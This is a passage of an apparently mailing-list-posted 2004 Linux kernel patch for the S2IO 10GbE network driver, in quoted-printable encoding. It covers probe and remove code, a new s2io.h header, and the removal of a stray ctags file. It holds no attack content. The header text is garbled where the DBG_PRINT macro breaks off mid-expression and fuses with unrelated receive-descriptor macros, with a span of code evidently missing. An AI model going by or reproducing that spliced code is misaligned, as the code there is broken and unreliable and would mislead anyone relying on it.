16);=0A= + sp->defMacAddr[0].mac_addr[4] =3D (u8) (mac_down >> 24);=0A= +=0A= + DBG_PRINT(INIT_DBG,=0A= + "DEFAULT MAC ADDR:0x%02x-%02x-%02x-%02x-%02x-%02x\n",=0A= + sp->defMacAddr[0].mac_addr[0],=0A= + sp->defMacAddr[0].mac_addr[1],=0A= + sp->defMacAddr[0].mac_addr[2],=0A= + sp->defMacAddr[0].mac_addr[3],=0A= + sp->defMacAddr[0].mac_addr[4],=0A= + sp->defMacAddr[0].mac_addr[5]);=0A= +=0A= + /* Set the factory defined MAC address initially */=0A= + dev->addr_len =3D ETH_ALEN;=0A= + memcpy(dev->dev_addr, sp->defMacAddr, ETH_ALEN);=0A= +=0A= + /* Initialize the tasklet status flag */=0A= + atomic_set(&(sp->tasklet_status), 0);=0A= +=0A= +=0A= + /* Initialize spinlocks */=0A= + spin_lock_init(&sp->isr_lock);=0A= + spin_lock_init(&sp->tx_lock);=0A= +=0A= + /* SXE-002: Configure link and activity LED to init state =0A= + * on driver load. =0A= + */=0A= + subid =3D sp->pdev->subsystem_device;=0A= + if ((subid & 0xFF) >=3D 0x07) {=0A= + val64 =3D readq(&bar0->gpio_control);=0A= + val64 |=3D 0x0000800000000000ULL;=0A= + writeq(val64, &bar0->gpio_control);=0A= + val64 =3D 0x0411040400000000ULL;=0A= + writeq(val64, (u64 *) ((u8 *) bar0 + 0x2700));=0A= + val64 =3D readq(&bar0->gpio_control);=0A= + }=0A= +=0A= + /* Make Link state as off at this point, when the Link change =0A= + * interrupt comes the state will be automatically changed to =0A= + * the right state.=0A= + */=0A= + netif_carrier_off(dev);=0A= + sp->last_link_state =3D LINK_DOWN;=0A= +=0A= + sp->rx_csum =3D 1; /* Rx chksum verify enabled by default */=0A= +=0A= + return 0;=0A= +=0A= + set_swap_failed:=0A= + unregister_netdev(dev);=0A= + register_failed:=0A= + iounmap(sp->bar1);=0A= + bar1_remap_failed:=0A= + iounmap(sp->bar0);=0A= + bar0_remap_failed:=0A= + mem_alloc_failed:=0A= + freeSharedMem(sp);=0A= + init_failed:=0A= + pci_disable_device(pdev);=0A= + pci_release_regions(pdev);=0A= + pci_set_drvdata(pdev, NULL);=0A= + free_netdev(dev);=0A= +=0A= + return -ENODEV;=0A= +}=0A= +=0A= +/*=0A= +* Input Argument/s: =0A= +* pdev - structure containing the PCI related information of the = device.=0A= +* Return value:=0A= +* void=0A= +* Description:=0A= +* This function is called by the Pci subsystem to release a PCI device =0A= +* and free up all resource held up by the device. This could be in = response =0A= +* to a Hot plug event or when the driver is to be removed from memory.=0A= +*/=0A= +static void __exit s2io_rem_nic(struct pci_dev *pdev)=0A= +{=0A= + struct net_device *dev =3D=0A= + (struct net_device *) pci_get_drvdata(pdev);=0A= + nic_t *sp;=0A= +=0A= + if (dev =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "Driver Data is NULL!!\n");=0A= + return;=0A= + }=0A= + sp =3D dev->priv;=0A= + freeSharedMem(sp);=0A= + iounmap(sp->bar0);=0A= + iounmap(sp->bar1);=0A= + pci_disable_device(pdev);=0A= + pci_release_regions(pdev);=0A= + pci_set_drvdata(pdev, NULL);=0A= +=0A= + unregister_netdev(dev);=0A= +=0A= + free_netdev(dev);=0A= +}=0A= +=0A= +int __init s2io_starter(void)=0A= +{=0A= + return pci_module_init(&s2io_driver);=0A= +}=0A= +=0A= +void s2io_closer(void)=0A= +{=0A= + pci_unregister_driver(&s2io_driver);=0A= + DBG_PRINT(INIT_DBG, "cleanup done\n");=0A= +}=0A= +=0A= +module_init(s2io_starter);=0A= +module_exit(s2io_closer);=0A= diff -urN vanilla-linux/drivers/net/s2io/s2io.h = vanilla-linux-patch/drivers/net/s2io/s2io.h=0A= --- vanilla-linux/drivers/net/s2io/s2io.h 1970-01-01 05:30:00.000000000 = +0530=0A= +++ vanilla-linux-patch/drivers/net/s2io/s2io.h 2004-03-19 = 11:22:44.000000000 +0530=0A= @@ -0,0 +1,855 @@=0A= +/***********************************************************************= *=0A= + * s2io.h: A Linux PCI-X Ethernet driver for S2IO 10GbE Server NIC=0A= + * Copyright 2002 Raghavendra Koushik (raghavendra.koushik@s2io.com)=0A= +=0A= + * This software may be used and distributed according to the terms of=0A= + * the GNU General Public License (GPL), incorporated herein by = reference.=0A= + * Drivers based on or derived from this code fall under the GPL and = must=0A= + * retain the authorship, copyright and license notice. This file is = not=0A= + * a complete program and may only be used when the entire operating=0A= + * system is licensed under the GPL.=0A= + * See the file COPYING in this distribution for more information.=0A= + = ************************************************************************/=0A= +#ifndef _S2IO_H=0A= +#define _S2IO_H=0A= +=0A= +#define TBD 0=0A= +#define BIT(loc) (((u64)0x8000000000000000ULL) >> loc)=0A= +#define vBIT(val, loc, sz) (((u64)val) << (64-loc-sz))=0A= +=0A= +#ifndef BOOL=0A= +#define BOOL int=0A= +#endif=0A= +=0A= +#ifndef TRUE=0A= +#define TRUE 1=0A= +#define FALSE 0=0A= +#endif=0A= +=0A= +#undef SUCCESS=0A= +#define SUCCESS 0=0A= +#define FAILURE -1=0A= +=0A= +/* Maximum outstanding splits to be configured into xena. */=0A= +typedef enum xena_max_outstanding_splits {=0A= + XENA_ONE_SPLIT_TRANSACTION =3D 0,=0A= + XENA_TWO_SPLIT_TRANSACTION =3D 1,=0A= + XENA_THREE_SPLIT_TRANSACTION =3D 2,=0A= + XENA_FOUR_SPLIT_TRANSACTION =3D 3,=0A= + XENA_EIGHT_SPLIT_TRANSACTION =3D 4,=0A= + XENA_TWELVE_SPLIT_TRANSACTION =3D 5,=0A= + XENA_SIXTEEN_SPLIT_TRANSACTION =3D 6,=0A= + XENA_THIRTYTWO_SPLIT_TRANSACTION =3D 7=0A= +} xena_max_outstanding_splits;=0A= +#define XENA_MAX_OUTSTANDING_SPLITS(n) (n << 4)=0A= +=0A= +/* OS concerned variables and constants */=0A= +#define WATCH_DOG_TIMEOUT 5*HZ=0A= +#define EFILL 0x1234=0A= +#define ALIGN_SIZE 127=0A= +#define PCIX_COMMAND_REGISTER 0x62=0A= +=0A= +/*=0A= + * Debug related variables.=0A= + */=0A= +#define DEBUG_ON TRUE=0A= +=0A= +/* different debug levels. */=0A= +#define ERR_DBG 0=0A= +#define INIT_DBG 1=0A= +#define INFO_DBG 2=0A= +#define TX_DBG 3=0A= +#define INTR_DBG 4=0A= +=0A= +/* Global variable that defines the present debug level of the driver. = */=0A= +int debug_level =3D ERR_DBG; /* Default level. */=0A= +=0A= +/* DEBUG message print. */=0A= +#define DBG_PRINT(dbg_level, args...) if(!(debug_level> 16) & 0xFFFF)=0A= +#define RXD_GET_L4_CKSUM(val) ((u16)(val) & 0xFFFF)=0A= +=0A= + u64 Control_2;=0A= +#define MASK_BUFFER0_SIZE vBIT(0xFFFF,0,16)=0A= +#define SET_BUFFER0_SIZE(val) vBIT(val,0,16)=0A= +#define MASK_VLAN_TAG vBIT(0xFFFF,48,16)=0A= +#define SET_VLAN_TAG(val) vBIT(val,48,16)=0A= +#define SET_NUM_TAG(val) vBIT(val,16,32)=0A= +=0A= +#define RXD_GET_BUFFER0_SIZE(Control_2) (u64)((Control_2 & = vBIT(0xFFFF,0,16)))=0A= +/* =0A= +#define TXD_GET_BUFFER1_SIZE(Control_2) (u16)((Control_2 & = MASK_BUFFER1_SIZE) >> (63-31)) =0A= +#define TXD_GET_BUFFER2_SIZE(Control_2) (u16)((Control_2 & = MASK_BUFFER2_SIZE) >> (63-47)) =0A= +*/=0A= + u64 Buffer0_ptr;=0A= +} RxD_t;=0A= +=0A= +=0A= +/* Structure that represents the Rx descriptor block which contains =0A= + * 128 Rx descriptors.=0A= + */=0A= +typedef struct _RxD_block {=0A= +#define MAX_RXDS_PER_BLOCK 127=0A= + RxD_t rxd[MAX_RXDS_PER_BLOCK];=0A= +=0A= + u64 reserved_0;=0A= +#define END_OF_BLOCK 0xFEFFFFFFFFFFFFFF=0A= + u64 reserved_1; /* 0xFEFFFFFFFFFFFFFF to mark last Rxd in this blk */=0A= + u64 reserved_2_pNext_RxD_block; /*@ Logical ptr to next */=0A= + u64 pNext_RxD_Blk_physical; /* Buff0_ptr.=0A= + In a 32 bit arch the upper 32 bits =0A= + should be 0 */=0A= +} RxD_block_t;=0A= +=0A= +/* Structure which stores all the MAC control parameters */=0A= +=0A= +/* This structure stores the offset of the RxD in the ring =0A= + * from which the Rx Interrupt processor can start picking =0A= + * up the RxDs for processing.=0A= + */=0A= +typedef struct _rx_curr_get_info_t {=0A= + u32 block_index;=0A= + u32 offset;=0A= + u32 ring_len;=0A= +} rx_curr_get_info_t;=0A= +=0A= +typedef rx_curr_get_info_t rx_curr_put_info_t;=0A= +=0A= +/* This structure stores the offset of the TxDl in the FIFO=0A= + * from which the Tx Interrupt processor can start picking =0A= + * up the TxDLs for send complete interrupt processing.=0A= + */=0A= +typedef struct {=0A= + u32 offset;=0A= + u32 fifo_len;=0A= +} tx_curr_get_info_t;=0A= +=0A= +typedef tx_curr_get_info_t tx_curr_put_info_t;=0A= +=0A= +/* Infomation related to the Tx and Rx FIFOs and Rings of Xena=0A= + * is maintained in this structure.=0A= + */=0A= +typedef struct mac_info {=0A= +/* rx side stuff */=0A= + u32 rxd_ring_mem_sz;=0A= + RxD_t *RxRing[MAX_RX_RINGS]; /* Logical Rx ring pointers */=0A= + dma_addr_t RxRing_Phy[MAX_RX_RINGS];=0A= +=0A= + /* Put pointer info which indictes which RxD has to be replenished =0A= + * with a new buffer.=0A= + */=0A= + rx_curr_put_info_t rx_curr_put_info[MAX_RX_RINGS];=0A= +=0A= + /* Get pointer info which indictes which is the last RxD that was =0A= + * processed by the driver.=0A= + */=0A= + rx_curr_get_info_t rx_curr_get_info[MAX_RX_RINGS];=0A= +=0A= + u16 rmac_pause_time;=0A= +=0A= + /* this will be used in receive function, this decides which ring would=0A= + be processed first. eg: ring with priority value 0 (highest) should=0A= + be processed first. =0A= + first 3 LSB bits represent ring number which should be processed =0A= + first, similarly next 3 bits represent next ring to be processed.=0A= + eg: value of _rx_ring_pri_map =3D 0x0000 003A means =0A= + ring #2 would be processed first and #7 would be processed next=0A= + */=0A= + u32 _rx_ring_pri_map;=0A= +=0A= +/* tx side stuff */=0A= + void *txd_list_mem; /* orignal pointer to allocated mem */=0A= + dma_addr_t txd_list_mem_phy;=0A= + u32 txd_list_mem_sz;=0A= +=0A= + /* logical pointer of start of each Tx FIFO */=0A= + TxFIFO_element_t *tx_FIFO_start[MAX_TX_FIFOS];=0A= +=0A= + /* logical pointer of start of TxDL which corresponds to each Tx FIFO = */=0A= + TxD_t *txdl_start[MAX_TX_FIFOS];=0A= +=0A= + /* Same as txdl_start but phy addr */=0A= + dma_addr_t txdl_start_phy[MAX_TX_FIFOS];=0A= +=0A= +/* Current offset within tx_FIFO_start, where driver would write new Tx = frame*/=0A= + tx_curr_put_info_t tx_curr_put_info[MAX_TX_FIFOS];=0A= + tx_curr_get_info_t tx_curr_get_info[MAX_TX_FIFOS];=0A= +=0A= + u16 txdl_len; /* length of a TxDL, same for all */=0A= +=0A= + void *stats_mem; /* orignal pointer to allocated mem */=0A= + dma_addr_t stats_mem_phy; /* Physical address of the stat block */=0A= + u32 stats_mem_sz;=0A= + StatInfo_t *StatsInfo; /* Logical address of the stat block */=0A= +} mac_info_t;=0A= +=0A= +/* structure representing the user defined MAC addresses */=0A= +typedef struct {=0A= + char addr[ETH_ALEN];=0A= + int usage_cnt;=0A= +} usr_addr_t;=0A= +=0A= +/* Structure that holds the Phy and virt addresses of the Blocks */=0A= +typedef struct rx_block_info {=0A= + RxD_t *block_virt_addr;=0A= + dma_addr_t block_dma_addr;=0A= +} rx_block_info_t;=0A= +=0A= +/* Structure representing one instance of the NIC */=0A= +typedef struct s2io_nic {=0A= +#define MAX_MAC_SUPPORTED 16=0A= +#define MAX_SUPPORTED_MULTICASTS MAX_MAC_SUPPORTED=0A= +=0A= + macaddr_t defMacAddr[MAX_MAC_SUPPORTED];=0A= + macaddr_t preMacAddr[MAX_MAC_SUPPORTED];=0A= +=0A= + struct net_device_stats stats;=0A= + caddr_t bar0;=0A= + caddr_t bar1;=0A= + struct config_param config;=0A= + mac_info_t mac_control;=0A= + int high_dma_flag;=0A= + int device_close_flag;=0A= + int device_enabled_once;=0A= +=0A= + char name[32];=0A= + struct tasklet_struct task;=0A= + atomic_t tasklet_status;=0A= + struct timer_list timer;=0A= + struct net_device *dev;=0A= + struct pci_dev *pdev;=0A= +=0A= + u16 vendor_id;=0A= + u16 device_id;=0A= + u16 ccmd;=0A= + u32 cbar0_1;=0A= + u32 cbar0_2;=0A= + u32 cbar1_1;=0A= + u32 cbar1_2;=0A= + u32 cirq;=0A= + u8 cache_line;=0A= + u32 rom_expansion;=0A= + u16 pcix_cmd;=0A= + u32 config_space[256 / sizeof(u32)];=0A= + u32 irq;=0A= + atomic_t rx_bufs_left[MAX_RX_RINGS];=0A= +=0A= + spinlock_t isr_lock;=0A= + spinlock_t tx_lock;=0A= +=0A= +#define PROMISC 1=0A= +#define ALL_MULTI 2=0A= +=0A= +#define MAX_ADDRS_SUPPORTED 64=0A= + u16 usr_addr_count;=0A= + u16 mc_addr_count;=0A= + usr_addr_t usr_addrs[MAX_ADDRS_SUPPORTED];=0A= +=0A= + u16 m_cast_flg;=0A= + u16 all_multi_pos;=0A= + u16 promisc_flg;=0A= +=0A= + u16 tx_pkt_count;=0A= + u16 rx_pkt_count;=0A= + u16 tx_err_count;=0A= + u16 rx_err_count;=0A= +=0A= +#if DEBUG_ON=0A= + u64 rxpkt_bytes;=0A= + u64 txpkt_bytes;=0A= + int int_cnt;=0A= + int rxint_cnt;=0A= + int txint_cnt;=0A= + u64 rxpkt_cnt;=0A= +#endif=0A= +=0A= + /* Place holders for the virtual and physical addresses of =0A= + * all the Rx Blocks=0A= + */=0A= + struct rx_block_info=0A= + rx_blocks[MAX_RX_RINGS][MAX_RX_BLOCKS_PER_RING];=0A= + int block_count[MAX_RX_RINGS];=0A= + int pkt_cnt[MAX_RX_RINGS];=0A= +=0A= + /* Id timer, used to blink NIC to physically identify NIC. */=0A= + struct timer_list id_timer;=0A= +=0A= + /* Restart timer, used to restart NIC if the device is stuck and=0A= + * a schedule task that will set the correct Link state once the =0A= + * NIC's PHY has stabilized after a state change.=0A= + */=0A= +#ifdef INIT_TQUEUE=0A= + struct tq_struct rst_timer_task;=0A= + struct tq_struct set_link_task;=0A= +#else=0A= + struct work_struct rst_timer_task;=0A= + struct work_struct set_link_task;=0A= +#endif=0A= +=0A= + /* Flag that can be used to turn on or turn off the Rx checksum =0A= + * offload feature.=0A= + */=0A= + int rx_csum;=0A= +=0A= + /* after blink, the adapter must be restored with original =0A= + * values.=0A= + */=0A= + u64 adapt_ctrl_org;=0A= +=0A= + /* Last known link state. */=0A= + u16 last_link_state;=0A= +#define LINK_DOWN 1=0A= +#define LINK_UP 2=0A= +} nic_t __cacheline_aligned;=0A= +=0A= +#define RESET_ERROR 1;=0A= +#define CMD_ERROR 2;=0A= +=0A= +/* Default Tunable parameters of the NIC. */=0A= +#define DEFAULT_FIFO_LEN 4096=0A= +#define SMALL_RXD_CNT 40 * (MAX_RXDS_PER_BLOCK+1)=0A= +#define LARGE_RXD_CNT 100 * (MAX_RXDS_PER_BLOCK+1)=0A= +=0A= +/* OS related system calls */=0A= +#ifndef readq=0A= +static inline u64 readq(void *addr)=0A= +{=0A= + u64 ret =3D 0;=0A= + ret =3D readl(addr + 4);=0A= + (u64) ret <<=3D 32;=0A= + (u64) ret |=3D readl(addr);=0A= +=0A= + return ret;=0A= +}=0A= +#endif=0A= +=0A= +#ifndef writeq=0A= +static inline void writeq(u64 val, void *addr)=0A= +{=0A= + writel((u32) (val), addr);=0A= + writel((u32) (val >> 32), (addr + 4));=0A= +}=0A= +#endif=0A= +=0A= +/* Interrupt related values of Xena */=0A= +=0A= +#define ENABLE_INTRS 1=0A= +#define DISABLE_INTRS 2=0A= +=0A= +/* Highest level interrupt blocks */=0A= +#define TX_PIC_INTR (0x0001<<0)=0A= +#define TX_DMA_INTR (0x0001<<1)=0A= +#define TX_MAC_INTR (0x0001<<2)=0A= +#define TX_XGXS_INTR (0x0001<<3)=0A= +#define TX_TRAFFIC_INTR (0x0001<<4)=0A= +#define RX_PIC_INTR (0x0001<<5)=0A= +#define RX_DMA_INTR (0x0001<<6)=0A= +#define RX_MAC_INTR (0x0001<<7)=0A= +#define RX_XGXS_INTR (0x0001<<8)=0A= +#define RX_TRAFFIC_INTR (0x0001<<9)=0A= +#define MC_INTR (0x0001<<10)=0A= +#define ENA_ALL_INTRS ( TX_PIC_INTR | \=0A= + TX_DMA_INTR | \=0A= + TX_MAC_INTR | \=0A= + TX_XGXS_INTR | \=0A= + TX_TRAFFIC_INTR | \=0A= + RX_PIC_INTR | \=0A= + RX_DMA_INTR | \=0A= + RX_MAC_INTR | \=0A= + RX_XGXS_INTR | \=0A= + RX_TRAFFIC_INTR | \=0A= + MC_INTR )=0A= +=0A= +/* Interrupt masks for the general interrupt mask register */=0A= +#define DISABLE_ALL_INTRS 0xFFFFFFFFFFFFFFFFULL=0A= +=0A= +#define TXPIC_INT_M BIT(0)=0A= +#define TXDMA_INT_M BIT(1)=0A= +#define TXMAC_INT_M BIT(2)=0A= +#define TXXGXS_INT_M BIT(3)=0A= +#define TXTRAFFIC_INT_M BIT(8)=0A= +#define PIC_RX_INT_M BIT(32)=0A= +#define RXDMA_INT_M BIT(33)=0A= +#define RXMAC_INT_M BIT(34)=0A= +#define MC_INT_M BIT(35)=0A= +#define RXXGXS_INT_M BIT(36)=0A= +#define RXTRAFFIC_INT_M BIT(40)=0A= +=0A= +/* PIC level Interrupts TODO*/=0A= +=0A= +/* DMA level Inressupts */=0A= +#define TXDMA_PFC_INT_M BIT(0)=0A= + /* PFC block interrupts */=0A= +#define PFC_MISC_ERR_1 BIT(0) /* Interrupt to indicate FIFO full */=0A= +=0A= +/*=0A= + * Prototype declaration.=0A= + */=0A= +static int __devinit s2io_init_nic(struct pci_dev *pdev,=0A= + const struct pci_device_id *pre);=0A= +static void __exit s2io_rem_nic(struct pci_dev *pdev);=0A= +static int initSharedMem(struct s2io_nic *sp);=0A= +static void freeSharedMem(struct s2io_nic *sp);=0A= +static int initNic(struct s2io_nic *nic);=0A= +#ifndef CONFIG_S2IO_NAPI=0A= +static void rxIntrHandler(struct s2io_nic *sp);=0A= +#endif=0A= +static void txIntrHandler(struct s2io_nic *sp);=0A= +static void alarmIntrHandler(struct s2io_nic *sp);=0A= +=0A= +static int s2io_starter(void);=0A= +void s2io_closer(void);=0A= +static void s2io_tx_watchdog(struct net_device *dev);=0A= +static void s2io_tasklet(unsigned long dev_addr);=0A= +static void s2io_set_multicast(struct net_device *dev);=0A= +static int rxOsmHandler(nic_t * sp, u16 len, RxD_t * rxdp, int ring_no);=0A= +void s2io_link(nic_t * sp, int link);=0A= +void s2io_reset(nic_t * sp);=0A= +#ifdef CONFIG_S2IO_NAPI=0A= +static int s2io_poll(struct net_device *dev, int *budget);=0A= +#endif=0A= +static void s2io_init_pci(nic_t * sp);=0A= +int s2io_set_mac_addr(struct net_device *dev, u8 * addr);=0A= +static irqreturn_t s2io_isr(int irq, void *dev_id, struct pt_regs = *regs);=0A= +static int verify_xena_quiescence(u64 val64, int flag);=0A= +static struct ethtool_ops netdev_ethtool_ops;=0A= +=0A= +#endif /* _S2IO_H */=0A= diff -urN vanilla-linux/drivers/net/tags = vanilla-linux-patch/drivers/net/tags=0A= --- vanilla-linux/drivers/net/tags 2004-03-16 16:20:29.000000000 +0530=0A= +++ vanilla-linux-patch/drivers/net/tags 1970-01-01 05:30:00.000000000 = +0530=0A= @@ -1,1958 +0,0 @@=0A= -!_TAG_FILE_FORMAT 2 /extended format; --format=3D1 will not append ;" = to lines/=0A= -!_TAG_FILE_SORTED 1 /0=3Dunsorted, 1=3Dsorted, 2=3Dfoldcase/=0A= -!_TAG_PROGRAM_AUTHOR Darren Hiebert /dhiebert@users.sourceforge.net/=0A= -!_TAG_PROGRAM_NAME Exuberant Ctags //=0A= -!_TAG_PROGRAM_URL http://ctags.sourceforge.net /official site/=0A= -!_TAG_PROGRAM_VERSION 5.4 //=0A= -ACPI_LENOFF_LEN_MASK tg3.h 351;" d=0A= -ACPI_LENOFF_LEN_SHIFT tg3.h 352;" d=0A= -ACPI_LENOFF_OFF_MASK tg3.h 353;" d=0A= -ACPI_LENOFF_OFF_SHIFT tg3.h 354;" d=0A= -ADVERTISE_PAUSE_ASYM tg3.h 1458;" d=0A= -ADVERTISE_PAUSE_CAP tg3.h 1455;" d=0A= -ANEG_CFG_ACK tg3.c 1504;" d file:=0A= -ANEG_CFG_FD tg3.c 1510;" d file:=0A= -ANEG_CFG_HD tg3.c 1509;" d file:=0A= -ANEG_CFG_INVAL tg3.c 1511;" d file:=0A= -ANEG_CFG_NP tg3.c 1503;" d file:=0A= -ANEG_CFG_PS1 tg3.c 1508;" d file:=0A= -ANEG_CFG_PS2 tg3.c 1507;" d file:=0A= -ANEG_CFG_RF1 tg3.c 1506;" d file:=0A= -ANEG_CFG_RF2 tg3.c 1505;" d file:=0A= -ANEG_DONE tg3.c 1515;" d file:=0A= -ANEG_FAILED tg3.c 1517;" d file:=0A= -ANEG_OK tg3.c 1514;" d file:=0A= -ANEG_STATE_ABILITY_DETECT tg3.c 1465;" d file:=0A= -ANEG_STATE_ABILITY_DETECT_INIT tg3.c 1464;" d file:=0A= -ANEG_STATE_ACK_DETECT tg3.c 1467;" d file:=0A= -ANEG_STATE_ACK_DETECT_INIT tg3.c 1466;" d file:=0A= -ANEG_STATE_AN_ENABLE tg3.c 1460;" d file:=0A= -ANEG_STATE_COMPLETE_ACK tg3.c 1469;" d file:=0A= -ANEG_STATE_COMPLETE_ACK_INIT tg3.c 1468;" d file:=0A= -ANEG_STATE_DISABLE_LINK_OK tg3.c 1463;" d file:=0A= -ANEG_STATE_IDLE_DETECT tg3.c 1471;" d file:=0A= -ANEG_STATE_IDLE_DETECT_INIT tg3.c 1470;" d file:=0A= -ANEG_STATE_LINK_OK tg3.c 1472;" d file:=0A= -ANEG_STATE_NEXT_PAGE_WAIT tg3.c 1474;" d file:=0A= -ANEG_STATE_NEXT_PAGE_WAIT_INIT tg3.c 1473;" d file:=0A= -ANEG_STATE_RESTART tg3.c 1462;" d file:=0A= -ANEG_STATE_RESTART_INIT tg3.c 1461;" d file:=0A= -ANEG_STATE_SETTLE_TIME tg3.c 1519;" d file:=0A= -ANEG_STATE_UNKNOWN tg3.c 1459;" d file:=0A= -ANEG_TIMER_ENAB tg3.c 1516;" d file:=0A= -ASIC_REV_5700 tg3.h 122;" d=0A= -ASIC_REV_5701 tg3.h 123;" d=0A= -ASIC_REV_5703 tg3.h 124;" d=0A= -ASIC_REV_5704 tg3.h 125;" d=0A= -ASIC_REV_5705 tg3.h 126;" d=0A= -AUTONEG_INVALID tg3.h 1793;" d=0A= -BDINFO_FLAGS_DISABLED tg3.h 18;" d=0A= -BDINFO_FLAGS_MAXLEN_MASK tg3.h 19;" d=0A= -BDINFO_FLAGS_MAXLEN_SHIFT tg3.h 20;" d=0A= -BDINFO_FLAGS_USE_EXT_RECV tg3.h 17;" d=0A= -BUFMGR_DMA_DESC_POOL_ADDR tg3.h 911;" d=0A= -BUFMGR_DMA_DESC_POOL_SIZE tg3.h 912;" d=0A= -BUFMGR_DMA_HIGH_WATER tg3.h 915;" d=0A= -BUFMGR_DMA_LOW_WATER tg3.h 913;" d=0A= -BUFMGR_HWDIAG_0 tg3.h 921;" d=0A= -BUFMGR_HWDIAG_1 tg3.h 922;" d=0A= -BUFMGR_HWDIAG_2 tg3.h 923;" d=0A= -BUFMGR_MB_ALLOC_BIT tg3.h 907;" d=0A= -BUFMGR_MB_HIGH_WATER tg3.h 902;" d=0A= -BUFMGR_MB_MACRX_LOW_WATER tg3.h 898;" d=0A= -BUFMGR_MB_POOL_ADDR tg3.h 892;" d=0A= -BUFMGR_MB_POOL_SIZE tg3.h 893;" d=0A= -BUFMGR_MB_RDMA_LOW_WATER tg3.h 894;" d=0A= -BUFMGR_MODE tg3.h 883;" d=0A= -BUFMGR_MODE_ATTN_ENABLE tg3.h 886;" d=0A= -BUFMGR_MODE_BM_TEST tg3.h 887;" d=0A= -BUFMGR_MODE_ENABLE tg3.h 885;" d=0A= -BUFMGR_MODE_MBLOW_ATTN_ENAB tg3.h 888;" d=0A= -BUFMGR_MODE_RESET tg3.h 884;" d=0A= -BUFMGR_RX_DMA_ALLOC_REQ tg3.h 917;" d=0A= -BUFMGR_RX_DMA_ALLOC_RESP tg3.h 918;" d=0A= -BUFMGR_RX_MB_ALLOC_REQ tg3.h 906;" d=0A= -BUFMGR_RX_MB_ALLOC_RESP tg3.h 908;" d=0A= -BUFMGR_STATUS tg3.h 889;" d=0A= -BUFMGR_STATUS_ERROR tg3.h 890;" d=0A= -BUFMGR_STATUS_MBLOW tg3.h 891;" d=0A= -BUFMGR_TX_DMA_ALLOC_REQ tg3.h 919;" d=0A= -BUFMGR_TX_DMA_ALLOC_RESP tg3.h 920;" d=0A= -BUFMGR_TX_MB_ALLOC_REQ tg3.h 909;" d=0A= -BUFMGR_TX_MB_ALLOC_RESP tg3.h 910;" d=0A= -CHIPREV_5700_AX tg3.h 128;" d=0A= -CHIPREV_5700_BX tg3.h 129;" d=0A= -CHIPREV_5700_CX tg3.h 130;" d=0A= -CHIPREV_5701_AX tg3.h 131;" d=0A= -CHIPREV_ID_5700_A0 tg3.h 101;" d=0A= -CHIPREV_ID_5700_A1 tg3.h 102;" d=0A= -CHIPREV_ID_5700_ALTIMA tg3.h 106;" d=0A= -CHIPREV_ID_5700_B0 tg3.h 103;" d=0A= -CHIPREV_ID_5700_B1 tg3.h 104;" d=0A= -CHIPREV_ID_5700_B3 tg3.h 105;" d=0A= -CHIPREV_ID_5700_C0 tg3.h 107;" d=0A= -CHIPREV_ID_5701_A0 tg3.h 108;" d=0A= -CHIPREV_ID_5701_B0 tg3.h 109;" d=0A= -CHIPREV_ID_5701_B2 tg3.h 110;" d=0A= -CHIPREV_ID_5701_B5 tg3.h 111;" d=0A= -CHIPREV_ID_5703_A0 tg3.h 112;" d=0A= -CHIPREV_ID_5703_A1 tg3.h 113;" d=0A= -CHIPREV_ID_5703_A2 tg3.h 114;" d=0A= -CHIPREV_ID_5703_A3 tg3.h 115;" d=0A= -CHIPREV_ID_5704_A0 tg3.h 116;" d=0A= -CHIPREV_ID_5704_A1 tg3.h 117;" d=0A= -CHIPREV_ID_5704_A2 tg3.h 118;" d=0A= -CHIPREV_ID_5705_A0 tg3.h 119;" d=0A= -CHIPREV_ID_5705_A1 tg3.h 120;" d=0A= -CLOCK_CTRL_44MHZ_CORE tg3.h 186;" d=0A= -CLOCK_CTRL_625_CORE tg3.h 187;" d=0A= -CLOCK_CTRL_ALTCLK tg3.h 184;" d=0A= -CLOCK_CTRL_CLKRUN_OENABLE tg3.h 189;" d=0A= -CLOCK_CTRL_CORECLK_DISABLE tg3.h 181;" d=0A= -CLOCK_CTRL_DELAY_PCI_GRANT tg3.h 190;" d=0A= -CLOCK_CTRL_FORCE_CLKRUN tg3.h 188;" d=0A= -CLOCK_CTRL_PWRDOWN_PLL133 tg3.h 185;" d=0A= -CLOCK_CTRL_RXCLK_DISABLE tg3.h 182;" d=0A= -CLOCK_CTRL_TXCLK_DISABLE tg3.h 183;" d=0A= -COS_out_packets tg3.h /^ tg3_stat64_t COS_out_packets[16];$/;" m = struct:tg3_hw_stats=0A= -COS_rx_filter_dropped tg3.h /^ tg3_stat64_t = COS_rx_filter_dropped;$/;" m struct:tg3_hw_stats=0A= -COS_rx_packets tg3.h /^ tg3_stat64_t COS_rx_packets[16];$/;" m = struct:tg3_hw_stats=0A= -CPU_EVTMASK tg3.h 982;" d=0A= -CPU_HW_BP tg3.h 990;" d=0A= -CPU_INSN tg3.h 985;" d=0A= -CPU_LAST_BRANCH_ADDR tg3.h 993;" d=0A= -CPU_MODE tg3.h 978;" d=0A= -CPU_MODE_HALT tg3.h 980;" d=0A= -CPU_MODE_RESET tg3.h 979;" d=0A= -CPU_PC tg3.h 984;" d=0A= -CPU_R0 tg3.h 996;" d=0A= -CPU_R1 tg3.h 997;" d=0A= -CPU_R10 tg3.h 1006;" d=0A= -CPU_R11 tg3.h 1007;" d=0A= -CPU_R12 tg3.h 1008;" d=0A= -CPU_R13 tg3.h 1009;" d=0A= -CPU_R14 tg3.h 1010;" d=0A= -CPU_R15 tg3.h 1011;" d=0A= -CPU_R16 tg3.h 1012;" d=0A= -CPU_R17 tg3.h 1013;" d=0A= -CPU_R18 tg3.h 1014;" d=0A= -CPU_R19 tg3.h 1015;" d=0A= -CPU_R2 tg3.h 998;" d=0A= -CPU_R20 tg3.h 1016;" d=0A= -CPU_R21 tg3.h 1017;" d=0A= -CPU_R22 tg3.h 1018;" d=0A= -CPU_R23 tg3.h 1019;" d=0A= -CPU_R24 tg3.h 1020;" d=0A= -CPU_R25 tg3.h 1021;" d=0A= -CPU_R26 tg3.h 1022;" d=0A= -CPU_R27 tg3.h 1023;" d=0A= -CPU_R28 tg3.h 1024;" d=0A= -CPU_R29 tg3.h 1025;" d=0A= -CPU_R3 tg3.h 999;" d=0A= -CPU_R30 tg3.h 1026;" d=0A= -CPU_R31 tg3.h 1027;" d=0A= -CPU_R4 tg3.h 1000;" d=0A= -CPU_R5 tg3.h 1001;" d=0A= -CPU_R6 tg3.h 1002;" d=0A= -CPU_R7 tg3.h 1003;" d=0A= -CPU_R8 tg3.h 1004;" d=0A= -CPU_R9 tg3.h 1005;" d=0A= -CPU_SPAD_UFLOW tg3.h 986;" d=0A= -CPU_SPAD_UFLOW_SET tg3.h 